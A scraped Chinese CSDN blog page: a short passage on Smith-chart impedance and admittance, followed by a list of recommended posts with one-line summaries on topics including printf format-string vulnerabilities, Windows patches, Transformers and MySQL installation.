在找到点B和B'后,我们就能够测量A'到B和B'到D的弧长,前者就是C的归一化电纳值,后者为L的归一化电抗值。当然,表面上看新的点好像是一个不同的阻抗,实际上Z和1/Y表示的是同一个元件(这个新值在圆图上呈现为一个不同的点,而且反射系数也不相同,依次类推)。出现这种情况的原因是我们的图形本身是一个阻抗图,而新的点代表的是一个导纳。这个方程是在复平面(Γr, Γi)上、圆的参数方程(x - a)² + (y - b)² = R²,它以[r/(r + 1), 0]为圆心,半径为1/(1 + r)。

qq_55759599的博客 3963

解决Windows无法卸载补丁的实用方法

无法卸载Windows补丁可能是一个棘手的问题,但通过上述方法,你应该能够找到解决方案。无论是通过控制面板、命令提示符还是手动重置Windows更新组件,都有可能成功卸载问题补丁。如果所有方法都无效,系统还原将是一个值得尝试的备选方案。希望这篇文章能帮助你解决无法卸载补丁的问题。

mmoo_python的博客 1万+

格式化字符串漏洞利用(以函数栈的视角)

格式化字符串漏洞目的、利用、特殊情况——以栈结构的视角分析

qq_40923256的博客 437

Adams二次开发实战指南:从CMD到Python与插件开发全解析

本文全面解析Adams二次开发的三种核心方法:CMD命令、Python脚本和C++插件开发。通过实战案例展示如何实现参数批量修改、自动化仿真流程和定制功能开发,显著提升多体动力学仿真效率。特别适合需要处理复杂建模和重复性任务的工程师学习参考。

weixin_29235923的博客 130

详解格式化字符串漏洞利用

详解格式化字符串漏洞利用 ​ 最近看了很多格式化字符串漏洞利用的文章,发现写得都差那么点意思,所以决定自己写一篇,结合实例,好好地把这个知识点捋一捋。

weixin_48066554的博客 5638

【MIMIC数据库教程】一、MIMIC-IV3.1表格与字段详解(一):Hosp和ICU模块表格整体介绍

MIMIC-IV 3.1 版本包含住院 (hosp) 和 重症监护 (ICU)提供全院电子病历数据,包括入院信息、实验室测量、微生物学、用药、账单等,共计22 张表。记录重症监护室数据,如静脉注射、呼吸机设置、生命体征等,共计9 张表。

BD_Design_cs的博客 3426

windows10系统上安装最新版mysql 8.0详细步骤

windows10系统上安装最新版mysql 8.0详细步骤

glei20的博客 6718

gdb调试出错程序

今天写了一个hook函数,执行出错,不得其解,错误信息无法定位原因,使用gdb很快解决。 Ubuntu 16.04.6 LTS 一、背景 写了一个hook函数,放在LD_PRELOAD下,用来监控malloc和free行为,代码如下: #define _GNU_SOURCE #include <stdio.h> #include <stdint.h> #include <dlfcn.h> #include <stdlib.h> #include <s.

whbing1471的博客 2365

Transformer模型详解

​本文主要介绍Transformer系列,从基础到理论,对注意力机制进行总结并解释《Attention is all you need》,提出解决sequence to sequence问题的transformer模型,用全attention的结构代替了lstm,抛弃了之前传统的encoder-decoder模型必须结合cnn或者rnn的固有模式,只用attention。文章的主要目的是在减少计算量和提高并行效率的同时不损害最终的实验结果。

专注大数据与人工智能技术分享,欢迎私信加群互相学习! 5321

*printf()格式化串安全漏洞分析(下) (转)

*printf()格式化串安全漏洞分析(下) (转) 测试平台:RedHat 6.1, RedHat 6.2 (Intel i386) (继续) 那么让我们来写一个简单的测试程序来看一下:   exp.c #include                                             #include

rheostat的专栏 1664

orin+96712接GMSL2相机调试经验

orin gmsl camera调试

乐于分享 4457

风险登记册vs问题日志:项目经理必须掌握的区别与应用

在项目管理的世界里,风险登记册和问题日志就像是项目经理的两个得力助手。我们的目的就是要搞清楚这两个助手各自的特点、区别以及如何在项目中好好使用它们。范围涵盖了项目从启动到结束的整个过程,无论是小项目还是大项目,都能从对这两个工具的正确使用中受益。我们先会用有趣的故事引出风险登记册和问题日志的概念,然后像给小学生讲故事一样解释它们是什么。接着分析它们之间的关系和区别,再用代码示例模拟它们在项目中的应用,之后介绍实际的应用场景、推荐相关工具和资源,探讨未来的发展趋势和挑战。

项目管理的博客 875

《C++ printf()函数的深度解析》

有时候,我们可能需要自定义printf()的格式化行为。虽然printf()本身不支持直接自定义格式说明符,但可以通过一些技巧来模拟。例如,可以编写一个包装函数,将自定义的格式字符串转换为printf()能够识别的标准格式字符串。假设我们想要定义一个新的格式说明符%m,用于输出一个自定义结构体MyStruct的特定成员。我们可以编写一个函数:} else {format++;在这个例子中,当遇到%m格式说明符时,我们从可变参数列表中取出MyStruct。

正在在摸鱼的博客 1124

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

缓冲区溢出-printf格式化输出漏洞

0x00本文视频:如果文字过于枯燥可观看在线视频:https://edu.51cto.com/sd/165140x01基础知识:在c语言中printf的使用方法为printf(format,<参量表>),printf是c语言中少见的可变参数的库函数,printf在调用前无法知道传入的参数到底有多少个(在32位汇编中参数都是压入栈中,也就是说printf不知...

weixin_34364135的博客 2738

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

printf输出字符串_格式化字符串漏洞

# 格式化字符串漏洞## 1、什么是格式化字符串要研究格式化字符串漏洞首先我们必须得明白什么是格式化字符串。我们用c语言中常见的printf来举例```bashprintf()函数是格式化输出函数, 一般用于向标准输出设备按规定格式输出信息。在编写程序时经常会用到此函数。函数的原型为:`int printf(const char *format, ...)`;函数返回值为整型。若成功则返回输出的字...

weixin_39524959的博客 691

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

c语言printf相关函数 格式化字符串攻击 简介

目录 一、类printf函数簇实现原理 二、格式化字符串攻击原理 三、一个实际的例子 一、类printf函数簇实现原理 类printf函数的最大的特点就是,在函数定义的时候无法知道函数实参的数目和类型。 对于这种情况,可以使用省略号指定参数表。 带有省略号的函数定义中,参数表分为两部分,前半部分是确定个数、确定类型的参数,第二部分就是省略号,代表数目和类型都不确定的参数表,省略号参数表中参数的个数和参数的类型是事先的约定计算出来的,每个实参的地址(指针)是根据确定参数表中最后一个实参的地址算出

whatday的专栏 912

安全漏洞--字符串格式化(FSV)漏洞分析

一 漏洞简介   格式化字符串漏洞(format string vulnerability),也是一种比较常见的漏洞类型。常出现于c语言格式化字符串一系列函数。比如printf,sprintf,fprintf等一系列家族函数。由于此函数对参数类型和个数过滤不严格,导致用户可以构造 任意数据,实现读取写入内存数据,从而实现代码执行。 二 原理分析 至于为什么会产生字符串溢出漏洞呢,我们来看看产生溢出的关键函数。比如说 _C

关注互联网安全的小虾米一枚 5393

漏洞分析实践_格式化字符串漏洞

格式化字符串是由普通字符串和格式化规定字符构成的字符序列。普通字符会原封不动地复制到输出流中,而格式化规定字符以。

kitsch0x97的博客 1280

格式化字符串漏洞

它允许我们在字符串中使用占位符,然后通过传递参数来替换这些占位符。在很多编程语言中,格式化字符串通常使用特定的语法或函数来实现。在Python中,格式化字符串可以使用百分号(%)操作符或者字符串的format()方法来实现。使用百分号操作符时,我们可以在字符串中使用占位符(如%s、%d等),然后通过一个元组或字典来传递参数。使用format()方法时,我们可以在字符串中使用花括号({})作为占位符,并通过传递参数来替换这些占位符。这样就可以将变量或值动态地插入到字符串中,使得输出更加灵活和可读。

2303_80471032的博客 1478

C++中printf()格式化输出原理:从数据类型到内存解析的底层机制

在C/C++编程中,格式化输出是基础且关键的技术环节,它直接关联到程序数据的底层表示与用户界面的交互。理解格式化输出的核心在于掌握数据类型在内存中的存储原理,以及如何通过格式符正确解释这些二进制数据。printf()函数作为C语言标准库的经典工具,其工作机制基于可变参数列表和格式字符串解析,要求开发者明确指定每个输出数据的类型标识(如%d、%f、%s),这本质上是一种类型安全的底层约定。从技术价值看,深入理解printf()不仅能避免常见的输出乱码、精度丢失和程序崩溃问题,更能帮助开发者建立对内存布局、数据

weixin_33863087的博客 318

C语言之printf函数用法

摘要:本文详细介绍了C语言中printf函数的使用方法。首先概述了printf的基本语法和格式化输出机制,包括各种类型标识符和修饰符的组合使用。其次解释了函数原型和参数传递方式。然后重点讲解了如何通过控制命令实现输出内容的颜色设置。最后分析了printf的特殊计算顺序特性,通过多个示例演示了从右往左计算参数时的处理规则。文章全面涵盖了printf的核心功能、高级用法和注意事项,为开发者提供了实用的参考指南。

weixin_44453694的博客 1253
上一篇: *printf()格式化串安全漏洞分析(上)
下一篇: 深度探索Win32可执行文件格式
普通网友
博客等级 码龄22年 1万+粉丝 3156原创
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值